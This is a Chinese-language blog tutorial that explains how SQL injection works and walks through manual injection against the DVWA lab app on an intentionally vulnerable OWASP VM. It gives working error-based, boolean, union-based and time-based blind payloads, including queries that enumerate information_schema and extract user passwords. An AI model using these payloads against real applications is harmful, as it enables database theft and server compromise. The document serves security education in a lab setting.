SQL注入原理和手动注入

  • Post author:
  • Post category:其他


在owasp年度top10安全问题中,注入高居榜首SQL注入攻击指的是通过构建特殊的输入作为参数传入web应用程序,而这些输入大都是SQL语法里面的一些组合,通过执行SQL语句而执行攻击者所要的操作,其主要原因是程序没有细致地过滤用户输入的数据,致使非法数据入侵系统。

(1)对于web应用程序而言,用户核心数据存储在数据库中,例如MySQL,SQL,Oracle;

(2)通过SQL注入攻击,可以获取,修改,删除数据库信息,并且通过提权来控制web服务器等其他操作。

(3)SQL注入即攻击者通过构造特殊的SQL语句,入侵目标系统,致使后台数据库泄露数据的过程。

(4)因为SQL注入造成严重的危害性,所以常居OWASP TOP10的榜首。



1. 实验环境

目标靶机:OWASP_Broken_Web_Apps_VM_1.2

测试渗透机:Kali-Linux-2020.4-vmware-amd64



2. SQL注入的危害

(1)拖库导致用户数据泄露

(2)危害web等应用的安全

(3)失去操作系统的控制权

(4)用户信息被非法买卖

(5)危害企业及国家的安全



3. SQL语句基础回顾


SQL包含四种语言:


(1)数据定义语言(DDL)

数据定义语言(Data Definition Language,DDL)是SQL语言中负责数据结构定义与数据库对象定义的语言,由CREATE(创建库、表)、ALTER(添加、修改、删除字段)、DROP(删除库、表)。

(2)数据操作语言(DML)

数据操作语言(Data Manipulation Language),用户通过它来实现对数据库的基本操作。如,对表中数据的查询、插入、删除、修改。

(3)数据查询语言(DQL)

SELECT语句

(4)数据控制语言(DCL)

数据控制语言(Data Control Language)是用来设置或者更改数据库用户或者角色权限的语句,这些语句包括,grant、deny、revoke等语句。


下面举例一些常见的操作:

show databases;   ##查看所有的库
select database();  ##利用database()函数查看当前所在的库
select user(); 	  ##使用user()函数查看当前所在的用户
select now();	  ##使用now()函数查看当前的时间

在这里插入图片描述

use dvwa;	##使用(进入)dvwa这个数据库中
select database();		##利用database()函数来查看当前所在的库
show tables;		##查看当前库中的所有数据表
desc users:			##查看users这个表的结构,其中Field表示字段,Type表示字段的类型

在这里插入图片描述

show create table users;   ##也可以使用这种方式来查看表的结构

在这里插入图片描述

DESC users;		##查看表的结构
select user,password from users;		##从users表中查看指定的user和password字段值
select user,password avatar from users; ##和上对比来看,当查询字段时,字段是用逗号隔开的,当俩字段没有用逗号隔开,则后面字段做前面字段的别名,及这里的password as avatar

在这里插入图片描述

在这里插入图片描述

前面都是一些简单的查询,现在我们再来看一下条件查询:

select user,password from mysql.user where user='root';  ##这里指从mysql库user表里面挑选出user为'root'的行,并显示这些行中的user、password字段。

【注意】:条件语句中,user=‘root’,如果root不加引号它代表着字段,通常用于连接俩个表,如A.user=B.user;如果root加了引号,代表root字符串。



4. SQL注入原理



4.1 通过or或者and构建新的简单SQL语句

这里我们先来看一下dvwa库的内容

select database();		##查看一下当前在那个库下
show tables;			##查看当前库下的所有表
desc users;				##查看users表的结构

在这里插入图片描述

select user_id,first_name,last_name from users where user_id=10;	##指定条件为user_id=10下获取相应字段
select user_id,first_name,last_name from users where user_id=10 or 1=1;  ##使用or来增加条件,使条件永远为真。

在这里插入图片描述


从上面可以看到,即使我们不能改变网站的数据库原SQL语句,但是我们也可以通过添加or 或者and条件来构造新的SQL语句,从而来达到目的,当然这里我们只是简单获取了指定字段以及指定表对应的所有值。



4.2 利用联合查询union

select user_id,first_name,last_name from dvwa.users;  ##查询dvwa.users表
select user,password,host from mysql.user;			##查询mysql.user表
select user_id,first_name.last_name from dvwa.users union select user,password,host from mysql.user limit 8; 	##使用union联合上面俩个表,limit8表示只查看结果中的前八行。

在这里插入图片描述

从上面联合结果知,所有字段都是以前面查询语句为标准,后面的查询语句值紧跟其后。

select user_id,first_name.last_name from dvwa.users union select user,password from mysql.user limit 8; 	##将mysql.user表的字段设置为2个

在这里插入图片描述

从上看到当联合字段数不一致时报错。当不知道前面SQL语句的字段数时,我们可以一一尝试,用数字来做字段(任意数字都可以做字段)。如下:

select user_id,first_name.last_name from dvwa.users union select user,password,1 from mysql.user limit 8;

在这里插入图片描述

同时我们可以添加where 1=2条件,可以不要前面的结果,只获取想要的表中的值:

select user_id,first_name,last_name from dvwa.users where 1=2 union select user,password,1 from mysql.user limit 8;  ##添加where 1=2条件,可以不要前面的结果,只获取我们想要的表中的值

在这里插入图片描述


综上,我们可以看到使用union可以获取其他表的数据内容,但是union有条件,即前面字段数有几个?后面字段有什么?如果字段不够可以用数字来补齐。但是想要获取其他表的数据,我们还是要知道后面表的字段名,但是现在我们连有哪些表?哪些库?都不知道



4.3 information_schema库

information_schema是mysql中自带的一个库,他提供了对元数据、统计信息、以及有关MySQL Server的信息访问(例如:数据库名或表名,字段的类型和访问权限等)。该库中保存的信息也可以称为MySQL的数据字典或系统目录。

相关详细信息查看:http://blog.itpub.net/26736162/viewspace-2651253/

use information_schema    ##进入该库
select database();		  ##查看当前所在库
show tables;			  ##查看该库的所有表

在这里插入图片描述

在这里插入图片描述

information_schema库中有俩个重要的表,一个是TABLES表,另一个是COLUMNS。


TABLES表用于查询所有数据库库名,以及所有库对应的所有表名。

desc information_schema.tables		##查看tables表的结构

在这里插入图片描述

其中TABLE_SCHEMA字段表示库名,TABLE_NAME表示表名。

select TABLE_SCHEMA from information_schema     ##查询所有的库
select DISTINCT TABLE_SCHEMA FROM information_schema    ##查询所有的库并去重

在这里插入图片描述

在这里插入图片描述

select table_schema,table_name from information_schema.tables\G  ##显示所有的库,以及库里的所有表。

在这里插入图片描述

select table_schema,group_concat(table_name) from information_schema.tables group by table_schema\G

在这里插入图片描述

select table_name from information_schema.tables where table_schema='dvwa'; ##从information.tables表中获取当库为dvwa时的所有表,等价于show tables;

在这里插入图片描述


COLUMNS表可以用于查询mysql的所有数据库库名,表名,字段名。

DESC information_schema.columns;  ##查询columns表的结构
select * from information_schema.columns limit 1 ; ##查看columns表第一行的所有内容

在这里插入图片描述

其中字段TABLE_SCHEMA同样表示库名,TABLE_NAME表示表名,COLUMN_NAME表示字段名。

select column_name from information_schema.columns   ##表示从columns表中获取所有的字段
select column_name from information_schema.columns where table_schema='dvwa' and table_name='users';			##表示从columns表中获取当库为dvwa,表为users的所有字段名。
select column_name from information_schema.columns where table_schema='USER_PRIVILEGES';
select column_name from information_schema.columns where table_schema='SCHEMA_PRIVILEGES';

以上可以通过mysql自带的information_schema元数据库中的tables以及columns表来获取mysql的所有数据库以及相应的所有表,字段名,字段类型等等。



5. SQL注入流程

SQL注入流程:

(1)判断是否有SQL注入漏洞;

(2)判断操作系统、数据库和web应用的类型;

(3)获取数据库信息,包括管理员信息以及拖库;

(4)加密信息破解,sqlmap可自动破解;

(5)提升权限,获得sql-shell 、os-shell、登陆应用后台;



6. 手动注入实战



6.1 基于错误的注入

错误注入的思想是通过构造特殊的sql语句,

根据得到的错误信息,确认sql注入点;


通过数据库报错信息,也可以探测到数据库的类型和其他有用信息。

通过引入单引号,触发数据库异常,通过异常日志诊断数据库类型,例如这里是MySQL数据库。

在这里插入图片描述

在这里插入图片描述

我们来看一下dvwa服务器后端源码:

在这里插入图片描述



6.2 基于布尔的注入

布尔逻辑注入的思想是闭合SQL语句、构建or和and逻辑语句、注释多余的代码。

在这里插入图片描述

上面User ID:处输入值,后端服务器执行的sql命令是:


select first_name,last_name from dvwa.users where user_id=''

当我们利用布尔构造SQL注入语句:’ or 1=1 – he

select first_name,last_name from dvwa.users where user_id=' ' or 1=1 -- he ';

【说明】:

第一个 ’ 引号用于闭合前面的条件;

or 1=1 为真的条件;

– 将注释后面的所有语句;

当最后的;分号被注释掉,我们不用自动加;分号,因为当输入值后浏览器会自动为我们加上。

在这里插入图片描述

上面我们已经实现获取dvwa的users表的first_name,last_name字段对应的所有值。



6.3 基于union注入

union语句用于联合前面的select查询语句,合并查询更多信息;

一般通过错误和布尔注入确认注入点之后,便开始通过union语句来获取有效信息。

首先猜测前面select查询字段的列数:

' union select 1 -- he
' union select 1,2 -- he
' union select 1,2,3 -- he
' union select 1,2,3.. --he

后端相应的SQL注入语句解析:

select first_name,last_name from dvwa.users where user_id='' union select 1 -- he ';
select first_name,last_name from dvwa.users where user_id='' union select 1,2 -- he ';
select first_name,last_name from dvwa.users where user_id='' union select 1,2,3 -- he ';

当字段数猜测结果正确,显示结果如下:

在这里插入图片描述

union还可以结合相应的函数user(),database()来获取当前数据库及用户信息:

' union select version(),database() -- he 
' union select user(),database() -- he

后端的相应SQL注入语句解析:

select first_name,last_name from dvwa.users where user_id='' union select version(),database() -- he ';
select first_name,last_name from dvwa.users where user_id='' union select user(),database() -- he ';

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

前面我们学习了information_schema,他是MySQL自带的库,它提供了访问数据库元数据的方式;元数据包括数据库名、表名、列数据类型、访问权限、字符集等基础信息。

' union select table_schema,1 from information_schema.tables -- he  ##
查询所有的库名:
' union select table_name,1 from information_schema.tables -- he ##查询所有库的所有表名

后端的相应SQL注入语句解析:

select first_name,last_name from dvwa.users where user_id='' union select table_schema,1 from information_schema.tables -- he ';
select first_name,last_name from dvwa.users where user_id='' union select table_name,1 from information_schema.tables -- he ';

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

' union select table_schema,table_name from information_schema.tables -- he  ##同时查询所有库及其对应的表名

select first_name,last_name from dvwa.users where user_id='' union select table_schema,table_name from information_schema.tables --he ';   ##后端的相应SQL注入语句解析

在这里插入图片描述

在这里插入图片描述

' union select column_name,1 from information_schema.columns where table_name='users' -- he  ##利用information的columns表查询user表对应的所有字段

select first_name,last_name from dvwa.users where user_id='' union select column_name,1 from information_schema.columns where table_name='users' -- he '; ##后端的相应SQL注入语句解析

在这里插入图片描述

' union select column_name,1 from information_schema.columns where table_name='user_privileges' -- he   ##查询user_privileges表的所有字段

在这里插入图片描述

利用concat来合并多个字段:

' union select password,concat(first_name,' ',last_name,' ',user) from users -- he ##合并字段

select first_name,last_name from dvwa.users where '' union select password,concat(first_name,' ' ,last_name,' ' ,user) from users -- he ';  ##后端执行的SQL语句

在这里插入图片描述



6.4基于时间的盲注

有些数据库对错误信息做了安全配置,使得无法通过以上方式探测到注入点,此时,通过设置sleep语句来探测注入点。

在这里插入图片描述

他的后端源码:

在这里插入图片描述

这种方式当我们使用’ 单引号来探测注入点,后端服务器不会提示错误信息,因此此时用单引号无法判读注入点。此时需要使用sleep来进行时间盲测:

1' and sleep(10) -- he  ##当前面语句执行完休眠10秒钟

select first_name,last_name from dvwa.users where user_id='1' and sleep(5) -- he ';  ##后端服务器执行的SQL语句

在这里插入图片描述

如果显示在执行状态,即使最后没有输出任何结果,这也说明我们输入的语句是被执行了。则判断这里存在注入点。



版权声明:本文为qq_44749796原创文章,遵循 CC 4.0 BY-SA 版权协议,转载请附上原文出处链接和本声明。